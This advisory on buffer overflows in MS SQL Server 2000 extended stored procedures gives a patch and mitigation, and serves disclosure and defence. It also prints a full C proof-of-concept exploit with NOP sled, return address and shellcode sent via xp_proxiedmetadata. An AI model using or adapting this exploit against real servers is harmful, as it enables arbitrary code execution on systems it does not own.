COMMAND

    MS SQL Server

SYSTEMS AFFECTED

    MS SQL Server 2000

PROBLEM

    Following is based on a  @stake Security Advisory.  This  advisory
    details  multiple  vulnerabilities  in  Microsoft  SQL Server 2000
    that allow an attacker to run arbitrary code on the SQL server  in
    the context of a local  administrator account.  This was  found by
    Chris Anley.

    SQL Server  provides a  mechanism by  which a  database query  can
    result  in  a  call  into  a  function  called an "extended stored
    procedure".  Several extended stored procedures supplied with  SQL
    Server   2000   are   vulnerable   to   buffer  overflow  attacks.
    Furthermore,  in  a  default  configuration  these extended stored
    procedures can be executed by any user.

    Extended stored procedures can  be called by any  client component
    that  can  issue  a  normal  SQL  Server  query, such as Microsoft
    Access, or MSQuery.  The ISQL utility, which is supplied with  SQL
    Server, can also be used to call extended stored procedures.   Web
    applications  running  on  Internet  Information Server frequently
    use the ActiveX  Data Objects (ADO)  API to connect  to SQL Server
    databases.

    The syntax for calling extended stored procedures is as follows:

        exec <stored procedure name> <arg1>, <arg2>, ...

    For example, the following query  will return a directory tree  of
    the "c:\winnt" directoy:

        exec xp_dirtree 'c:\winnt'

    By passing extremely  long strings for  various parameters, it  is
    possible  to  overrun  the   buffer  space  allocated  for   these
    parameters and execute arbitrary code.

    The following extended stored procedures are vulnerable:

        xp_peekqueue (xpqueue.dll), and xp_printstatements (xprepl.dll)

    An overly long string passed for the first parameter will cause an
    access  violation  and  overwrite  the  exception  handler's saved
    return address.

        xp_proxiedmetadata (xprepl.dll)

    Takes four parameters.  An overly long string for the second  will
    cause an  access violation  and overwrite  the exception handler's
    saved return address.

        xp_SetSQLSecurity (xpstar.dll)

    Takes four parameters.  An overly long string passed for the third
    parameter will cause  an exception that  results in the  immediate
    termination of the entire SQL Server process.

    Proof of Concept:

        http://www.atstake.com/research/advisories/2000/sqladv2-poc.c

    Here is the code:

    // SQL2KOverflow.c
    // This code creates a file called 'SQL2KOverflow.txt' in the root of the
    // c: drive.
    
    
    #include <stdio.h>
    #include <windows.h>
    #include <wchar.h>
    #include <lmcons.h>
    #include <sql.h>
    #include <sqlext.h>
    
    
    int Syntax()
    {
	    printf( "Syntax error. Correct syntax is:\nSQL2KOverflow
    <hostname> <username> <password>");
	    return 1;
    }
    
    
    int main(int argc, char *argv[])
    {
	    char szBuffer[1025];
	    SWORD     swStrLen;
	    SQLHDBC   hdbc;
	    SQLRETURN nResult;
	    SQLHANDLE henv;
	    HSTMT  hstmt;
	    SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
	    UCHAR query[20000] = "exec xp_proxiedmetadata 'a', '";
	    int count;
    
	    if ( argc != 4 )
	    {
		    return Syntax();
	    }
    
	    if ( ( strlen( argv[1] ) > 250 ) ||
		    ( strlen( argv[2] ) > 250 )  ||
		    ( strlen( argv[3] ) > 250 ) )
		    return Syntax();
    
	    strcat( InConnectionString, argv[1] );
	    strcat( InConnectionString, ";UID=" );
	    strcat( InConnectionString, argv[2] );
	    strcat( InConnectionString, ";PWD=" );
	    strcat( InConnectionString, argv[3] );
	    strcat( InConnectionString, ";DATABASE=master" );
    
	    for ( count = 30; count < 2598; count++ )
		    query[count] = (char)0x90;
    
	    query[count] = 0;
    
	    // 0x77782548 = wx%H = this works sp0
	    strcat( query, "\x48\x25\x78\x77" );
    
	    strcat( query,
    "\x90\x90\x90\x90\x90\x33\xC0Ph.txthflowhOverhQL2khc:\\STYPP@PHPPPQ\xB8\x8D+\xE9\x77\xFF\xD0\x33\xC0P\xB8\xCF\x06\xE9\x77\xFF\xD0"
    );
    
	    strcat( query, "', 'a', 'a'" );
    
    
	    if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
    SQL_SUCCESS)
		    {
			    printf("Error SQLAllocHandle");
			    return 0;
    
		    }
    
	    if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
    SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
		    {
			    printf("Error SQLSetEnvAttr");
			    return 0;
    
		    }
    
    
	    if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
    *)&hdbc)) != SQL_SUCCESS)
		    {
			    printf("SQLAllocHandle - 2");
			    return 0;
    
		    }
    
	    nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
    strlen(InConnectionString), szBuffer,  1024, &swStrLen,
    SQL_DRIVER_COMPLETE_REQUIRED);
	    if(( nResult == SQL_SUCCESS ) | ( nResult ==
    SQL_SUCCESS_WITH_INFO) )
		    {
    
			    printf("Connected to MASTER database...\n\n");
			    SQLAllocStmt(hdbc,&hstmt);
		    }
    
    
    
	    if(SQLExecDirect(hstmt,query,SQL_NTS) ==SQL_SUCCESS)
		    {
			    printf("\nSQL Query error");
    
			    return 0;
    
		    }
	    printf("Buffer sent...");
    
    
    
    return 0;
    }

SOLUTION

    Disallow PUBLIC execute access to these extended stored procedures
    usless you need it.  Install the vendor supplied patch.  Microsoft
    has released a patch to fix this problem:

        http://support.microsoft.com/support/sql/xp_security.asp